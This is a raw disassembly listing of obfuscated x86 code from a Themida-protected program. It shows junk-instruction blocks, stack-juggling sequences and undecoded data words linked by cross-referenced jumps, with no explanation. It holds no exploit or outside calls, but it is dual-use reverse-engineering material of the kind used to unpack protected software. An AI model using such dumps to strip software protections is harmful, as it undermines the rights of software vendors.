		dd 81E7D15Fh, 0DE30ECF7h, 0E9F82932h, 0FFFF623Fh, 83243489h
		dd 148904ECh, 0E57CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55085A:				; CODE XREF: Themida_:0054E137j
		push	edx
		mov	edx, 51815F9Ch
		shr	edx, 3
		push	eax
		mov	eax, 0A302BF2h
		sub	edx, eax
		pop	eax
		add	esi, edx
		pop	edx
		or	esi, 732B7E69h
		jmp	loc_546A85
; ---------------------------------------------------------------------------


loc_55087A:				; CODE XREF: Themida_:0055230Aj
		pop	esi
		jmp	loc_54688A
; ---------------------------------------------------------------------------
		dd 0C7815F54h, 4, 17E9E9h, 0E9D6F700h, 0FFFF8754h, 24048B66h
		dd 0FFF04FE9h, 0F4C381FFh, 0E960FC27h, 0FFFFADA2h, 0D7B7CBB6h
		dd 2841EF80h, 41C780F7h, 0E949045Ah, 0FFFFD80Dh, 4B05E3B9h
		dd 61E94116h, 5CFFFFADh, 2474FF51h, 48F5904h, 24248B24h
		dd 0FF672EE9h, 0CF8147FFh, 1E347ACBh, 0FFF166E9h, 4BA52FFh
		dd 1000000h, 24148BD7h,	4C481h,	3C870000h, 9101E924h, 34FFFFFFh
		dd 2434FF24h, 0E92434FFh, 0FFFF94C5h
; ---------------------------------------------------------------------------


loc_55090C:				; CODE XREF: Themida_:00547F0Ej
		mov	eax, edx
		pop	edx
		pop	ebx
		jmp	loc_54B466
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0BEh
		dd 0DA1DE9C8h, 0E95EFFFFh, 0FFFFE022h
; ---------------------------------------------------------------------------


loc_550924:				; CODE XREF: Themida_:0055069Fj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_549597
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 22D81EEFh, 339ACE81h, 1E9620Eh, 5000001Ch, 88525152h
		dd 5AD188FAh, 5359CE88h, 0F888F788h, 0C2885A5Bh, 8BD18858h
		dd 0C4832414h, 247C8A04h, 244C8802h, 0E9596602h, 0BC7h
; ---------------------------------------------------------------------------


loc_550980:				; CODE XREF: Themida_:0054F49Dj
		sub	ebx, 142430FFh
		pop	edi
		shl	ebx, 5
		add	ebx, 0E4F37100h
		and	eax, ebx
		jmp	loc_54BA08
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835A2434h, 0C28104C4h, 4, 0E902C283h, 0FFFFC774h
; ---------------------------------------------------------------------------


loc_5509AC:				; CODE XREF: Themida_:0054DA12j
		push	esi
		jmp	loc_552604
; ---------------------------------------------------------------------------
		dw 83ADh
		dd 148904ECh, 930EE924h, 0F280FFFFh, 0B35366AEh, 0BCF380B7h
		dd 0E922C380h, 0FFFFBA5Ch, 8850C1FEh, 88D188CCh, 0C16FE9E2h
		dd 535BFFFFh, 0C381E389h, 4, 0FFD576E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5509ED:				; CODE XREF: Themida_:00548C3Fj
		add	esp, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_54D9B1
; ---------------------------------------------------------------------------


loc_550A12:				; CODE XREF: Themida_:0054F2FAj
		and	esi, 0FB73F42h
		dec	esi
		xor	esi, 41235A3Ah
		add	esi, 3F2C1C78h
		xor	esi, 0C8322EF2h
		push	eax
		mov	eax, esi
		mov	edi, eax
		pop	eax
		pop	esi
		sub	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54D9D9
; ---------------------------------------------------------------------------


loc_550A55:				; CODE XREF: Themida_:00547EF8j
		mov	esi, 1
		push	ecx
		push	24h
		pop	ecx
		jmp	loc_5528EA
; ---------------------------------------------------------------------------
		dw 0C788h
		dd 585BFA88h, 8017B652h, 0D2E94BE6h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550A77:				; CODE XREF: Themida_:0054C307j
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_54CF75
; ---------------------------------------------------------------------------


loc_550A87:				; CODE XREF: Themida_:00548AADj
		add	bl, al
		mov	ax, [esp]
		add	esp, 2
		sub	bl, 0F7h
		add	bl, al
		add	bl, 0F7h
		sub	bl, 80h
		sub	bl, 0F4h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_54620A
; ---------------------------------------------------------------------------


loc_550AAC:				; CODE XREF: Themida_:0054BBFAj
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		jmp	loc_547EEE
; ---------------------------------------------------------------------------
		dd 8324048Bh, 895304C4h, 4C381E3h, 52000000h, 4BAh, 0F2BA5200h
		dd 0E927CA06h, 0FFFFF913h, 70431568h, 0E7ECE950h, 2C8BFFFFh
		dd 4C48324h, 8B240C87h,	1662424h, 0E99C2404h, 0FFFF570Ah
		dd 8904EC83h, 74FF2414h, 8F5A0424h, 248B2404h, 0C8B60F24h
		dd 629E68h, 241C8900h, 0BA52E389h, 4, 347EEB81h, 0BA522754h
		dd 38EC6753h, 1CE9EA81h, 0DAE970C8h, 81FFFFB3h,	4EDh, 242C3300h
		dd 0E9242C31h, 0FFFFDD78h, 242C8152h, 6F6538A9h, 83241C8Bh
		dd 0BA5204C4h, 4FBB1FA0h, 8104EAC1h, 57171FEAh,	20EA8175h
		dd 8146914Dh, 8E38ACEAh, 0C9CA8138h, 513A246Fh,	404726B9h
		dd 59CA29CBh, 5A5AD301h, 2EB46852h, 34FF2C9Dh, 0D676E924h
		dd 0CB05FFFFh, 1219771h, 24048BC3h, 4C481h, 1C330000h
		dd 241C3124h, 0FFF780E9h, 24048BFFh, 5E04C483h,	0E788E981h
		dd 0CA29F2CDh, 5644E959h, 3C89FFFFh, 6BE95524h,	50000017h
		dd 2B8h, 55EB8100h, 118B311h, 55C381C3h, 0FF18B311h, 0E9582434h
		dd 0FFFF8DD1h, 712E958h, 81660000h, 66028ACFh, 0B48BC781h
		dd 8BFA0166h, 97E9243Ch
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550C07:				; CODE XREF: Themida_:0054B987j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	edx, 2E5E7B1Eh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 586595BBh
		sub	edx, esi
		pop	esi
		xor	eax, edx
		pop	edx
		jmp	loc_547CE7
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 4BE24h, 0F1010000h, 8124348Bh, 4C4h
		dd 0E9555000h, 0FFFFE352h
; ---------------------------------------------------------------------------


loc_550C50:				; CODE XREF: Themida_:00546F2Aj
		add	dword ptr [esp], 4
		pop	ebp
		push	648Bh
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_54C771
; ---------------------------------------------------------------------------
		dd 4C481h, 14330000h, 80A5E924h, 0C381FFFFh, 759945BFh
		dd 416CC381h, 0EAE91B82h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550C8B:				; CODE XREF: Themida_:0054CCAEj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_550C9B:				; CODE XREF: Themida_:0055287Dj
		push	ebx
		push	ebx
		push	ecx
		push	7EF93D8Eh
		pop	ecx
		jmp	loc_54E354
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 12BB68h, 242C8900h, 6856E589h, 4, 876DE95Eh,	0C89FFFFh
		dd 5540E924h, 0C481FFFFh, 4, 0FF60BDE9h, 2C181FFh, 33000000h
		dd 72E9240Ch, 0D3FFFF67h, 0E99C242Ch, 0FFFF551Eh, 0F8288A2Ch
		dd 535B8A04h, 0FFFD6DE9h, 242489FFh, 4240483h, 4B8505Fh
		dd 1000000h, 0BA5258C7h, 411D6107h, 9EFDC281h, 0D701BEE2h
		dd 74FF575Ah, 79E90424h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550D23:				; CODE XREF: Themida_:00547FF1j
		mov	[esp], edx
		push	eax
		jmp	loc_54F5CB
; ---------------------------------------------------------------------------


loc_550D2C:				; CODE XREF: Themida_:005492DCj
		sub	esi, 61312717h
		inc	esi
		add	esi, 530E18D4h
		mov	edx, esi
		pop	esi
		sub	[edi+24h], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_550DBA
; ---------------------------------------------------------------------------
		dd 5B0DEE80h, 30566866h, 24048966h, 519768h, 241C8900h
		dd 0DC88F388h, 6853665Bh, 68FCh, 88241489h, 5AF788E6h
		dd 10E9C7FEh, 46000018h, 17BBF681h, 0E6C13A60h,	0EACE8107h
		dd 81795E37h, 0AF65E5EEh, 5EF22905h, 9C64252Dh,	70D12D66h
		dd 0F105774Bh, 292C833Ch, 0F3BE9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550DBA:				; CODE XREF: Themida_:00550D57j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5518E1
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4A3F6E17h, 0FF79FAE9h, 2DD829FFh, 7D127543h,	133FE9h
		dd 4EDC100h, 4C41B951h,	0E9521F77h, 0FFFF8232h
; ---------------------------------------------------------------------------


loc_550DEC:				; CODE XREF: Themida_:00551A49j
		pop	edx
		mov	edi, [esp]
		jmp	loc_548B04
; ---------------------------------------------------------------------------


loc_550DF5:				; CODE XREF: Themida_:00550562j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54FFC9
; ---------------------------------------------------------------------------


loc_550E00:				; CODE XREF: Themida_:005525F4j
		mov	ecx, [esp]
		jmp	loc_54C0A0
; ---------------------------------------------------------------------------


loc_550E08:				; CODE XREF: Themida_:00549CE8j
		mov	edx, 32DE3433h
		push	0CD21CBD1h
		mov	ebx, [esp]
		jmp	loc_54DD43
; ---------------------------------------------------------------------------


loc_550E1A:				; CODE XREF: Themida_:0054A097j
		add	esp, 4
		sub	eax, 17C95629h
		mov	ebp, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	664Dh
		jmp	loc_54FDBE
; ---------------------------------------------------------------------------


loc_550E42:				; CODE XREF: Themida_:005493E5j
		push	ebx
		mov	bl, 5Bh
		jmp	loc_549359
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0E3B12919h, 148BD031h, 8727E924h, 5255FFFFh,	0C281E289h
		dd 4, 4EA81h, 14870000h, 3C895C24h, 11C9BF24h, 0E1E90202h
		dd 1FFFF69h, 243C8BF9h,	4C481h,	37E90000h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_550E8B:				; CODE XREF: Themida_:005500A2j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54C028
; ---------------------------------------------------------------------------


loc_550E94:				; CODE XREF: Themida_:0054D8E7j
		pop	esp
		jmp	loc_5489D7
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 50E92404h, 1FFFFDBh,	0E9015DE9h, 287AE981h, 835D06F0h
		dd 48904ECh, 2B824h, 0AAE90000h, 81FFFFEEh, 0FA40C4C7h
		dd 0C7815868h, 27532F39h, 0FFC4E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550ED1:				; CODE XREF: Themida_:0054BD63j
		mov	eax, [esp]
		jmp	loc_54CFC6
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0C8CE9h, 0C8B6600h, 0E6895624h, 4C681h, 0EE830000h
		dd 0A8E95604h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550EF7:				; CODE XREF: Themida_:0054803Fj
		xor	esi, eax
		xor	eax, esi
		and	eax, 55DF6872h
		add	eax, 46B47EBBh
		xor	eax, 4BB49D07h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_551DC3
; ---------------------------------------------------------------------------
		dw 0E94Ah
		dd 2B1h
; ---------------------------------------------------------------------------


loc_550F20:				; CODE XREF: Themida_:00551BF7j
		mov	ebx, 10692B72h
		neg	ebx
		push	ebp
		mov	ebp, 61D17FA3h
		or	ebx, ebp
		pop	ebp
		sub	ebx, 3ED659BAh
		add	ebx, 4EFE5A0Bh
		jmp	loc_54D7AF
; ---------------------------------------------------------------------------
		db 59h,	81h, 0EEh
		dd 637B5C47h, 0FFACB2E9h, 35F181FFh, 1FBE630h, 0E95559CBh
		dd 0FFFFB1AEh, 4CF9C381h, 0E9572BC0h, 0FFFFDBCEh
; ---------------------------------------------------------------------------


loc_550F68:				; CODE XREF: Themida_:00548B05j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	edx, edi
		not	edx
		jmp	loc_546D7A
; ---------------------------------------------------------------------------
		dd 0B034E950h, 7FE9FFFFh, 68FFFF52h, 1235h, 89240C89h
		dd 123768E1h, 3C890000h, 53BDBF24h, 0B850526Ch,	356F73B8h
		dd 937ED305h, 642F0D4Bh, 0C1403431h, 0EC8106E0h, 4, 0BA241489h
		dd 31A243Fh, 0FF5562E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550FC9:				; CODE XREF: Themida_:0054DFB3j
		not	ebp
		add	ebp, 0FD2DEFB0h
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_547F0C
; ---------------------------------------------------------------------------


loc_550FE2:				; CODE XREF: Themida_:00552117j
		push	edx
		sub	esp, 4
		jmp	loc_5481F8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 5457240Ch, 0FF767EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550FF5:				; CODE XREF: Themida_:00550548j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54FFFA
; ---------------------------------------------------------------------------
		db 5Ch,	8Fh, 4
		dd 2CD25C24h, 0F7E99C24h, 0BAFFFF51h, 212E3BA6h, 0CBE9D329h
		dd 81000003h, 8604246Ch, 16B2D6Bh, 81042474h, 86042444h
		dd 0FF6B2D6Bh, 835E2434h, 685804C4h, 3FFCh, 0BD242C89h
		dd 52C47280h, 7821F581h, 0E95606ADh, 0FFFF8A69h
; ---------------------------------------------------------------------------


loc_551054:				; CODE XREF: Themida_:00549896j
		or	ebx, 66041EF2h
		xor	ebx, 53624D5Ch
		add	ebx, 0FD90C5C6h
		add	edi, ebx
		pop	ebx
		shl	edi, 8
		add	edi, 9ADCBB1Fh
		mov	esi, edi
		pop	edi
		add	edi, 24A52BC1h
		jmp	loc_54D729
; ---------------------------------------------------------------------------


loc_551080:				; CODE XREF: Themida_:00550065j
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		jmp	loc_54E714
; ---------------------------------------------------------------------------
		dd 0D8597C68h, 0BF57583Bh, 3BD85978h, 0E95FF831h, 0FFFFAEF5h
		dd 53EB815Bh, 19293CAh,	0BB535BDEh, 4, 565BDE01h, 42474FFh
		dd 5224348Bh, 0C2815A54h, 4, 4C281h, 14870000h,	0B127E924h
		dd 0FF54FFFFh, 0E95E2434h, 0FFFF5398h, 8104C483h, 4EBh
		dd 241C8700h, 0E924248Bh, 0FFFFDF1Fh
; ---------------------------------------------------------------------------


loc_5510F0:				; CODE XREF: Themida_:00549A09j
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0E0h
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54E57F
; ---------------------------------------------------------------------------
		db 4
		dd 1C8B6663h, 87FFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551112:				; CODE XREF: Themida_:0054845Aj
		sub	bl, ah
		mov	eax, [esp]
		jmp	loc_54E950
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 0FB50E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55112A:				; CODE XREF: Themida_:0054B6BEj
		push	1
		mov	edx, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_54B5B7
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 0FFC743E9h,	241C89FFh, 4D41A9BBh, 8E3C139h
		dd 7CF1EB81h, 3BE94727h, 89FFFFCAh, 9FE92404h, 0C1FFFF50h
		dd 0E98102E9h, 2A5B77CAh, 0F181D9F7h, 5104708Eh, 95A0F181h
		dd 39E9BA05h, 5EFFFFB3h, 83242C8Bh, 474704C4h, 33C78147h
		dd 816F0A6Ch, 0A246AEF7h, 401E905h, 34FF0000h, 2434FF24h
		dd 4C4835Fh, 0FFBA6EE9h, 1CFDBFFFh, 30E9550Dh, 33FFFF79h
		dd 14312414h, 24143324h, 6624248Bh, 9C240CFFh, 0FF5039E9h
		dd 0CDC281FFh, 4A54B478h, 0E94AD2F7h, 0FFFFAB14h, 8B243C87h
		dd 0D3E92424h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5511EB:				; CODE XREF: Themida_:00547BFEj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54F4FC
; ---------------------------------------------------------------------------
aXbsC		db '!ÁXéÆ~ç',0
		db 0E9h, 0ACh, 0B2h
		dd 8B66FFFFh, 0FEE92404h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55120F:				; CODE XREF: Themida_:0054B567j
		add	eax, 0ED546252h
		push	ecx
		mov	ecx, 241E3F57h
		or	ecx, 75737C95h
		or	ecx, 1C833908h
		or	ecx, 7484456Ah
		jmp	loc_54C85D
; ---------------------------------------------------------------------------


loc_551231:				; CODE XREF: Themida_:0054B962j
		add	edi, 4
		push	ecx
		jmp	loc_54CBAE
; ---------------------------------------------------------------------------
		db 0BDh, 0B5h, 53h
		dd 0F58134D0h, 6ED83854h, 0E907E5C1h, 0FFFF93B6h, 0F603EAC0h
		dd 0F764E9D2h, 0F66FFFFh, 0C1E902B6h, 81FFFFCDh, 4C4h
		dd 24048F00h, 2424D25Ch, 4F94E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551276:				; CODE XREF: Themida_:00547050j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54C1E5
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 5F16E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55128A:				; CODE XREF: Themida_:0054A5EBj
		xchg	bh, cl
		jmp	loc_54F894
; ---------------------------------------------------------------------------


loc_551291:				; CODE XREF: Themida_:0054F1C9j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		jmp	loc_54A50D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0F6E92C77h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5512AF:				; CODE XREF: Themida_:00548950j
		xor	esi, 0BC0ADC0Ch
		sub	ebx, esi
		pop	esi
		push	edi
		jmp	loc_548A82
; ---------------------------------------------------------------------------
		dw 0D388h
		dd 815BDC88h, 4ECh, 241C8900h, 0D988E388h, 0E3E9585Bh
		dd 1FFFF97h, 0BA525DE8h, 4, 685AD029h, 5860h, 0FF240489h
		dd 58042474h, 0FF7F2DE9h, 242489FFh, 4240481h, 0E9000000h
		dd 13F7h, 2C8BE801h, 4C48324h, 0FFA25BE9h, 40478FFFh, 0FFD6F8E9h
		dd 2D830DFFh, 0F8E925D4h, 53000012h, 0C37AD3BBh, 7FF0BF23h
		dd 96E972F8h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551333:				; CODE XREF: Themida_:00551E4Ej
		sub	ecx, 393B2BE5h
		jmp	loc_54766D
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0F8CBBA24h, 0D0310669h, 5524148Bh, 0BF575D54h, 4, 815FFD01h
		dd 4EDh, 242C8700h, 97BE9h, 241C8700h, 6824248Bh, 6938h
		dd 0BE243489h, 3809EC6Eh, 0FF6BEFE9h, 0C8F681FFh, 0E9116A37h
		dd 0FFFF71A8h, 0C102E5C1h, 0C58104EDh, 14D4CE73h, 89EE8956h
		dd 0FDE9E9F7h, 0C800FFFFh, 0E959A704h, 0FFFF7A64h
; ---------------------------------------------------------------------------


loc_5513A8:				; CODE XREF: Themida_:005498A5j
		push	715Eh
		mov	[esp], ecx
		mov	ecx, 6091195h
		push	ebp
		mov	ebp, 20E24C51h
		or	ecx, ebp
		jmp	loc_54A298
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 2, 0FF8209E9h, 242C8BFFh, 81E38953h,	4C3h, 4C38300h
		dd 5C241C87h, 295AD329h, 5F85E9C3h, 148BFFFFh, 55E95624h
		dd 0FF00000Dh, 34FF3877h, 0EC835924h, 241C8904h, 0C381E389h
		dd 4, 0A2E95351h, 52FFFF99h, 0F277DEBAh, 0FFEA8374h, 8C19E956h
		dd 159FFFFh, 866CE9D0h,	1489FFFFh, 2B58BA24h, 656837F7h
		dd 0E93C80EAh, 0FFFFA825h, 8701EB83h, 57CA81DAh, 53218979h
		dd 6A6593BBh, 7644E920h, 0C981FFFFh, 681444E1h,	0E902E9C1h
		dd 0FFFF8BCDh, 4240481h, 0E9000000h, 0FFFFE96Fh
; ---------------------------------------------------------------------------


loc_551468:				; CODE XREF: Themida_:00547B65j
		push	ecx
		push	ebx
		mov	ebx, 59766195h
		sub	ebx, 54775AC2h
		jmp	loc_54C35B
; ---------------------------------------------------------------------------


loc_55147A:				; CODE XREF: Themida_:0054A49Cj
		or	dh, 0B8h
		inc	dh
		dec	dh
		not	dh
		jmp	loc_54E41B
; ---------------------------------------------------------------------------


loc_551488:				; CODE XREF: Themida_:005526F6j
		sub	edx, 24A216E7h
		sub	edx, ecx
		add	edx, 24A216E7h
		jmp	loc_548CDD
; ---------------------------------------------------------------------------
		db 66h
		dd 0C5B35350h, 0F380D3F6h, 25F380A6h, 5BD888h, 885866C7h
		dd 0C8FE5BF8h, 0B304D8F6h, 88C78853h, 0C0585BF9h, 0F18003E1h
		dd 80D9F611h, 0A72C04F1h, 0FFFECDE9h, 0E9EB00FFh, 0FFFFBEE2h
; ---------------------------------------------------------------------------


loc_5514D8:				; CODE XREF: Themida_:005472CBj
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		not	edi
		push	23AAh
		mov	[esp], eax
		jmp	loc_550567
; ---------------------------------------------------------------------------
		dw 5425h
		dd 0E9213F15h, 0FFFFA858h, 74FF535Fh, 8F5B0424h, 248B2404h
		dd 66E9F624h, 53CCB60Fh, 5356E389h, 0D4077BBh, 4815320h
		dd 0B5554224h, 7D37E967h, 0CB01FFFFh, 241C8759h, 11E9555Ch
		dd 68FFFF72h, 468Bh, 0E9241C89h, 0A07h,	8B2434FFh, 54562404h
		dd 8324348Bh, 0C68104C4h, 4, 4C681h, 34330000h,	24343124h
		dd 5C243433h, 56E28952h, 4BEh, 3DC28100h, 120730Dh, 3DEA81F2h
		dd 0E920730Dh, 0FFFFA771h, 4C481h, 0D3880000h, 4FE9535Ah
		dd 81FFFFF1h, 26EA18EFh, 0E9F801D5h, 0FFFF8584h
; ---------------------------------------------------------------------------


loc_5515B0:				; CODE XREF: Themida_:0054CEC9j
		push	ebx
		mov	ebx, 0EBD62B64h
		push	ebx
		pop	edi
		pop	ebx
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 2D9C44D6h
		add	[esp+4], edi
		add	dword ptr [esp+4], 2D9C44D6h
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		sub	eax, 297746F7h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54E1E2
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89575A24h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 6624248Bh
		dd 8366DEF7h, 816601EEh, 666869EEh, 6671322Dh, 49E9F001h
		dd 57000006h, 726B4ABFh, 0E9FB0156h, 0FFFF963Bh, 89F08950h
		dd 0F577E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55163A:				; CODE XREF: Themida_:0054F1F7j
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		jmp	loc_548D5C
; ---------------------------------------------------------------------------
		db 5Bh,	80h, 0C6h
		dd 5AF32839h, 63C38059h, 0ADEB80h, 7276E9C3h, 34FFFFFFh
		dd 0AE685824h, 8900001Bh, 1F68240Ch, 89000076h,	4812424h
		dd 424h, 240C8B00h, 4C481h, 0C1810000h,	4, 4C181h, 0E9510000h
		dd 0FFFF822Bh
; ---------------------------------------------------------------------------


loc_551690:				; CODE XREF: Themida_:00549E5Cj
		push	edi
		mov	edi, 7525DA4h
		jmp	loc_54BA28
; ---------------------------------------------------------------------------
		db 8Fh
		dd 55E92404h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5516A3:				; CODE XREF: Themida_:0054AB46j
		mov	ecx, 456B1936h
		neg	ecx
		jmp	loc_549BAE
; ---------------------------------------------------------------------------
		db 54h
		dd 0C7BA525Bh, 0E92CFC58h, 0FFFF7258h, 6A0CBD55h, 0F581466Bh
		dd 1A087D6Ch, 4508E5C1h, 0FF8425E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5516D1:				; CODE XREF: Themida_:0054A1C5j
		sub	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54EC3B
; ---------------------------------------------------------------------------
		dw 1431h
		dd 24143324h, 4A0E9h, 4C48100h,	88000000h, 0D30458C7h
		dd 0FF57A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5516FD:				; CODE XREF: Themida_:0054A44Bj
		pop	ecx
		not	ecx
		add	ecx, 2A2336EAh
		add	ecx, 0BABCC1C9h
		mov	esi, ecx
		pop	ecx
		add	eax, 76C9268Ch
		jmp	loc_54B50B
; ---------------------------------------------------------------------------
		db 30h,	0DAh, 5Bh
		dd 0F8E9D730h, 31000010h, 14332414h, 34FF5C24h,	89505924h
		dd 17A668E0h, 0C2E90000h, 53FFFFACh, 0CD658368h, 0E3815B3Bh
		dd 57D539A8h, 0FF5560E9h, 81E289FFh, 4C2h, 4C28100h, 87000000h
		dd 248B2414h, 0D95DE924h, 0CA81FFFFh, 3FA26229h, 0FAE9D2F7h
		dd 66FFFFECh, 83240C8Bh, 8BE902C4h, 0BBFFFF4Ah,	3F2366EBh
		dd 5BAFF381h, 0DE31CF37h, 5A1E2D5Bh, 0F0012282h, 0FF958BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551799:				; CODE XREF: Themida_:00547253j
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_548A29
; ---------------------------------------------------------------------------
		dw 0F6B8h
		dd 947CF20h, 0DAF7E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5517B6:				; CODE XREF: Themida_:0054659Aj
		mov	esi, [esp]
		jmp	loc_54C963
; ---------------------------------------------------------------------------
		dw 0BA05h
		dd 0E9439A0Fh, 0FFFFA981h
; ---------------------------------------------------------------------------


loc_5517C8:				; CODE XREF: Themida_:00549B2Fj
		push	small 2B4Dh
		mov	[esp], ax
		push	ecx
		push	ebx
		mov	bl, 0Bh
		jmp	loc_54CCF0
; ---------------------------------------------------------------------------


loc_5517D9:				; CODE XREF: Themida_:00546378j
		and	edi, esi
		pop	esi
		and	edi, 85420CEh
		neg	edi
		add	edi, 91D747Fh
		jmp	loc_54A24F
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 0E9DF0100h, 0FFFF65DFh, 3C8BFE01h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2BE24h, 0C7810000h, 62FD5470h, 0FFBF9DE9h, 81D301FFh
		dd 39138EEBh, 2434FF42h, 4C4815Ah, 83000000h, 1C3302C3h
		dd 9CA8E924h, 0EBC1FFFFh, 0E3C14302h, 7EC38107h, 0E9656705h
		dd 0FFFF6257h, 49A0E9C3h, 0F281FFFFh, 76C00F55h, 0C2E98158h
		dd 0E978AA4Ch, 0FFFF80BEh, 315F685Eh, 1C890000h, 35A9BB24h
		dd 686D6Ch, 29000000h, 9E9241Ch, 81FFFFF8h, 423D32F5h
		dd 0E9EA0148h, 0FFFF8BFDh
; ---------------------------------------------------------------------------


loc_5518A4:				; CODE XREF: Themida_:0054FAA8j
		not	dword ptr [esp]
		pop	esi
		jmp	loc_54878E
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 4Dh
		dd 33FFFFDDh, 2C31242Ch, 242C3324h, 240C895Ch, 0ED8040B5h
		dd 2E5C0EEh, 8904EC83h,	39B7241Ch, 0F6CCE780h, 2EC83D7h
		dd 24048966h, 0FFAC97E9h
		db 0FFh
; ---------------------------------------------------------------------------


